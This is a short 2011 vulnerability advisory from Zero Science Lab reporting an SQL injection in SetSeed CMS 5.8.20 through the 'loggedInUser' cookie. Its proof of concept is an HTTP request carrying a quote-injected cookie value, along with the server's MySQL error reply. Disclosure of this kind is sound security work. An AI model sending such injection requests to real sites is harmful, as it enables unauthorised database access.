SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability

SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability

Vendor: SetSeed
Product web page: http://www.setseed.com
Affected version: 5.8.20

Summary: SetSeed is a self-hosted CMS which lets you rapidly build
and deploy complete websites and online stores for your clients.

Desc: SetSeed CMS is vulnerable to SQL injection. A remote attacker
could send specially-crafted SQL statements to the vulnerable script
using the cookie input 'loggedInUser', which could allow the attacker
to view, add, modify or delete information in the back-end database.

Tested on: Microsoft Windows XP Pro SP3 (EN)
           Apache 2.2.21
           MySQL 5.5.16
           PHP 5.3.8

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com

Advisory ID: ZSL-2011-5053
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5053.php

02.11.2011

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GET /setseed-hub/ HTTP/1.1
Cookie: loggedInKey=PYNS9QVWLEBG1E7C9UFCT674DYNW9YJ; loggedInUser=1%27; PHPSESSID=d6qiobigb5204mkuvculibhgd4
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

HTTP/1.1 200 OK
Date: Wed, 02 Nov 2011 15:39:39 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Content-Length: 150
Keep-Alive: timeout=5, max=62
Connection: Keep-Alive
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''1''' at line 1